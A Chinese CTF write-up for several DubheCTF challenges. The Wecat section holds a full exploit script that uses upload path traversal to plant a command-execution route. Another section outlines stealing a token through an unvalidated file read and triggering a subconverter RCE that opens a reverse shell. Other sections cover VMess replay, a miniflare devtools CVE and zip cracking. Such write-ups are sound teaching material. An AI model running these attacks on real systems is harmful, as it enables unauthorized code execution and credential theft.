ezPythonCheckin

看上去好像pyjail给我吓到了(?结果好简单。

print(open("/flag").read())

Wecat

碎碎念:UI真好看。

登录注册之后发现上传头像/wechatAPI/upload/once处可以指定路径。于是可以上传恶意路由拿到shell。

一把梭:

import time
from requests import post
import io

url = "http://%s:%d/" % ("localhost",8088)

email = "[email protected]"
passwd = "114514!"
# 注册
post(
    f"{url}wechatAPI/sign/success",
        data=f'{{"email":"{email}","pwd":"{passwd}"}}',
        headers={"Content-Type": "application/json"}
)

print("[+] Registered")
# 登录
token = post(
    f"{url}/wechatAPI/login/pwd",
    data=f'{{"email":"{email}","pwd":"{passwd}"}}',
    headers={"Content-Type": "application/json"}
).json()['token']

print("[+] Got token")
# 上传
post(
    url + "/wechatAPI/upload/once", data={
    "name": "any",
    "hash": "114514",
    "postfix": "txt/../../src/route/router.js"
}, files={
    "file": ("router.js", io.StringIO("""const router = require('@koa/router')()
const commonRouter = require('./commonRouter')
const routeAdmin = require('./admin')
const routeLogin = require('./login')
const routeUpload = require('./upload')
const {execSync} = require('child_process')
router
    .use(routeLogin)
    .use(commonRouter)
    .use(routeUpload)
    .use(routeAdmin)

router.post('/wechatAPI/mikumiku', async (ctx) => {
    ctx.body = execSync(ctx.request.body.command).toString()

})

module.exports = router"""), "text/plain")
}, headers={"Authorization": token})


print("[+] Uploaded")
# 调用

time.sleep(1)
r = post(
    f"{url}wechatAPI/mikumiku", data='{"command":"../../../../../readflag"}',
    headers={"Content-Type": "application/json", "Authorization": token}).text

print("[+] Got flag:", r)

cipher

碎碎念:又可以一把梭诶…

看文件指纹知道是mark的文件

%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLineConsoleHost_history.txt可以找到几个用户名的密码都是superman

然后丢进Advanced EFS Data Recovery 一把梭即可。

Master of Profile

之前有个subconventer的RCE洞。是在enable_cache且有token的情况下有办法进行rce。于是想办法找到token并且enable_cache。

审代码的时候看到/renderapi的实现:src/handler/interfaces.cpp#L1438中的path没有验证读取。尝试用/render?path=pref.yml读取配置文件。成功拿到token。

又看到src/main.cpp#L224的/updateconf实现。使用token可以修改pref.yml的内容。构造请求修改enable_cache为true。

然后做法就简单了。公网服务器上构造exp.js

function parse(x){
    os.exec(["sh","-c","..."])
}

这里弹shell。

即可获得flag。

authorized mess & unauthorized less

碎碎念:从开赛到结束一直在做的一个题。出题人脑洞很好。

https://pastebin.com/raw/sw2TFBLK -> V2ray,VMess协议。

修改V2ray代码完成重放。在proxy/vmess/aead/authid.go中注释掉108-110行。即可跳过EAuId验证。重放攻击。然后抓包即可获得请求。是一张图片https://p.sda1.dev/16/11c111ee40a928d5d751dd5869414093/__p0.png,带有压缩包。

结合提示和图片文件名(pixiv的图片下载后文件名是pixivid_p0),猜测密码是原图片的pixivID(这一步好离谱。用sauceNao搜索可获得pixiv来源,密码116921220

解压压缩包,是一个Cloudflare Workers项目,一个vless服务,并且使用wrangler dev本地调试。组网了内网docker镜像。公网->Vmess->内网Vless。审计代码没有问题,猜测问题出在工具上。 于是搜索miniflare cve找到CVE-2023-7080,按照描述,我们可以利用这个vless访问本地启动的devtools服务器。

两层v2ray服务,启动两台v2ray服务器,使用dokodemo-door服务进行端口转发来实现。配置见Gist

本地使用chrome://inspect 连接devtools。使用快照功能将全部内存保存到本地。打开记事本搜索DubheCTF即可。

DubheCTF{Wh47_4_m355y_pRO7oCOl&L355y_d38u993R}

no more taowa

碎碎念:这个题不是我做的但是我一定要把它发出来。承包了我周末最大的乐子XD(

说的是不套娃但是全是套娃。

一共二十五轮,每轮随机套娃。据不愿意透露姓名的出题人所说,此题源自https://github.com/zysgmzb/taowa-generator/,并对其进行了小小的创新。

以下是队友大爹写的半自动化解密脚本。(交互部分略去)

from PIL import Image
import base64,io,math
from pyzbar.pyzbar import decode
import zipfile,os
import threading,pyzipper,collections
import numpy as np
import pyperclip
def solve_base64(data:bytes):
    def fix_base64_padding(base64_string):
        missing_padding = len(base64_string) % 4
        if missing_padding != 0:
            base64_string += b'=' * (4 - missing_padding)
        return base64_string
    data=fix_base64_padding(data)
    return base64.b64decode(data,validate=False)
def solve_base32(data:bytes):
    return base64.b32decode(data)
def solve_base85(data:bytes):
    return base64.b85decode(data)
def from_bytes(data:bytes):
    data=data.decode(errors='ignore')
    for i, char in enumerate(data):
        if not char.isdigit() and not ('A' <= char <= 'F') and not ('a' <= char <= 'f'):
            data = data[:i]
            break
    return bytes.fromhex(data)
def solve_png(data:bytes):
    pic=Image.open(io.BytesIO(data))
    def solve_png_1(img:Image.Image):
        s=img
        r=np.array(s)//128
        r=r.flatten()
        if len(r)%8==4:
            r=r[:-4]
        bits=np.packbits(r.reshape(-1,8)).tobytes().rstrip(b'\x00')
        return bits
    def solve_png_3(img:Image.Image):
        s=img
        r=np.array(s)%2
        r=r.flatten()
        if len(r)%8==4:
            r=r[:-4]
        bits=np.packbits(r.reshape(-1,8)).tobytes().rstrip(b'\x00')
        return bits    def solve_png_2(img:Image.Image):
        s=img
        r=np.array(s)
        r=r.flatten()
        bits=r.tobytes().rstrip(b'\x00')
        return bits
    def solve_extra(img:Image.Image):
 
        s=img
        st=''
        bt=b''
        for y in range(s.height):
            for x in range(s.width):
                if x==0 and y==0:continue
                st+=str(s.getpixel((x,y))[0]//50)+str(s.getpixel((x,y))[2]//50)
                # if len(st)==8:
                #     bt+=int(st,2).to_bytes(1,'big')
                #     st=''
        st=st.encode()
        return st.strip(b'0')
     if pic.size!=(640,640):
        # r1= solve_png_2(pic)
        is_equal=1
        if pic.width>10:
            aa,bb=pic.getpixel((10,0))[1],pic.getpixel((10,0))[3]
            for x in range(11,pic.width):
                if pic.getpixel((x,1))[1]!=aa or pic.getpixel((x,1))[3]!=bb:
                    is_equal=0
        r1=solve_png_1(pic)
        r2=solve_png_2(pic)
        r3=solve_png_3(pic)
        if b'1'*20 in r1:return r1
        if b'1'*20 in r3:return r3
        if b'1'*20 in r2:return r2
        c1=len(collections.Counter(r1))
        c2=len(collections.Counter(r2))
        c3=len(collections.Counter(r3))
        print(f'aaaaaaaaaaaaaaaaaaaaaaa\n{r1[:100]}')
        print(f'bbbbbbbbbbbbbbbbbbbbbbb\n{r2[:100]}')
        print(f'ccccccccccccccccccccccc\n{r3[:100]}')
        rr='-1'
        while rr not in ['1','2','3']:
            rr=input('choice: (1/2/3)')
        if rr=='1':return r1
        if rr=='2':return r2
        if rr=='3':return r3
    r1=solve_png_1(pic)
    r2=solve_png_2(pic)
    r3=solve_png_3(pic)
    if b'1'*20 in r1:return r1
    if b'1'*20 in r3:return r3
    if b'1'*20 in r2:return r2
    c1=len(collections.Counter(r1))
    c2=len(collections.Counter(r2))
    c3=len(collections.Counter(r3))
    print(f'aaaaaaaaaaaaaaaaaaaaaaa\n{r1[:100]}')
    print(f'bbbbbbbbbbbbbbbbbbbbbbb\n{r2[:100]}')
    print(f'ccccccccccccccccccccccc\n{r3[:100]}')
    rr='-1'
    while rr not in ['1','2','3']:
        rr=input('choice: (1/2/3)')
    if rr=='1':return r1
    if rr=='2':return r2
    if rr=='3':return r3
def solve_qrcode(data:bytes):
    t=data.decode()
    l=round(math.sqrt(len(data)))
    s=Image.new('L',(l,l))
    for i in range(l):
        for j in range(l):
            try:
                s.putpixel((i,j),int(t[i*l+j])*255)
            except:
                pass
    decoded_objects=decode(s)
    return decoded_objects[0].data
def reverse_bytes(data:bytes):
    data=data[::-1]
    return data
def reverse_bin(data:bytes):
    def bytes_to_binary(byte_data):

        arr = np.frombuffer(byte_data, dtype=np.uint8)
        binary_str = np.unpackbits(arr).flatten()
        return binary_str[::-1]
    def binary_to_bytes(binary_str):
        byte_data = np.packbits(binary_str.reshape(-1,8))
        return byte_data
    byte_data = bytearray(data)
    binary_str = bytes_to_binary(byte_data)

    byte_data_back = binary_to_bytes(binary_str)
    return byte_data_back.tobytes()
def manual(data:bytes):
    return eval(input('command: '))
def identify(data:bytes):
    if data[:4]==b'\x89PNG':return 'p'
    if data[:20]==b'1'*20:return 'q'
    if data[:4]==b'PK\x03\x04':return 'z'
    if data[:8]==b'iVBORw0K':return '64'
    print(data[:100])
    print('f:from bytes 64:base64 85:base85 32:base32 z:zip bi:reverse bin by:reverse bytes  q:qrcode c:cut p:png')
    return input('choice: ')
def get_password():
    os.system('john-1.8.0.13-jumbo-b7eae75d7-win64\\run\\zip2john.exe temp1.zip>hash.txt')
    txt=open('hash.txt','r').read()
    hashtxt=txt[10:txt.find('$/zip2$::::')+7]
    print(hashtxt)
    open('hashtext.txt','w').write(hashtxt)
    os.system(f'cd hashcat-6.2.6 && cd && .\hashcat -m 13600 -a 3 ..\hashtext.txt ?d?d?d?d?d ')
    os.system(f'cd hashcat-6.2.6 && cd && .\hashcat -m 13600 -a 3 ..\hashtext.txt ?d?d?d?d?d --show > out.aminuosi')
    # return open('hashcat-6.2.6\\hashcat.potfile','r').read()[-6:].strip()
    return open('hashcat-6.2.6\\out.aminuosi','r').read()[-6:].strip()
def my_replace(data:bytes):
    k=input('hex / bytes:0/1>')
    
    a0,a1=input('a0 a1:>').split()
    if k=='0':
        return data.replace(bytes.fromhex(a0),b'0').replace(bytes.fromhex(a1),b'1')
    else:
        return data.replace(a0.encode(),b'0').replace(a1.encode(),b'1')

def solve_zip(data:bytes):
    open('temp1.zip','wb').write(data)
    pwd_str=b''
    # pwd_str=input('password: ')
    while len(pwd_str)!=5:
        pwd_str=get_password()
    print(f'password is {pwd_str}')
    try:
        os.system(f'D:\\7zip\\7-Zip\\7z x -p{pwd_str} temp1.zip -otemp1')
        files=os.listdir('temp1')[0]
        res = open(f'temp1\\{files}','rb').read()
        os.system(f'del temp1\\{files}')
        print(res)
        if res!=b'':return res
    except:
        pass
    input(f'continue? >{pwd_str}')
    files=os.listdir('temp1')[0]
    res = open(f'temp1\\{files}','rb').read()
    os.system(f'del temp1\\{files}')
    if res!=b'':return res
def solve(data:bytes):
    step=0
    last=[]
    while b'flag' not in data[:20]:
        last.append(data)
        open(f'temp_file/{step}','wb').write(data)
        step+=1
        
        if data[-6:]==b'wROBVi':data=data[::-1]
        if data[4:8]==b'PK\x03\x04':data=data[4:]+data[:4]
        if data[4:8]==b'\x89PNG':data=data[4:]
        if data[4:24]==b'1'*20 and data[2:4]!=b'11':data=data[4:]
        if b'DNEI' in data[:30]:data=reverse_bytes(data)
        if reverse_bin(data)[:4] in [b'PK\x03\x04',b'\x89PNG']:data=reverse_bin(data)
        if reverse_bytes(data)[:4] in [b'PK\x03\x04',b'\x89PNG']:data=reverse_bytes(data)
        print(data[:100])
        id=identify(data)
        print(f'----------------------\n{id}\n-----------------------')
        if id=='c':data=data[int(input('cut number: ')):]
        if id=='64':data=solve_base64(data)
        if id=='85':data=solve_base85(data)
        if id=='r':data=my_replace(data)
        if id=='32':data=solve_base32(data)
        if id=='z':data=solve_zip(data)
        if id=='q':data=solve_qrcode(data)
        if id=='bi':data=reverse_bin(data)
        if id=='by':data=reverse_bytes(data)
        if id=='p':data=solve_png(data)
        if id=='f':data=from_bytes(data)
        if id=='m':data=manual(data)
        if id=='back':data=last[-2]
        print('\n\n\n\n')
    print(data.decode())
    pyperclip.copy(data.decode())
while 1:
    solve(open('temp','rb').read())
    input('next >')
image image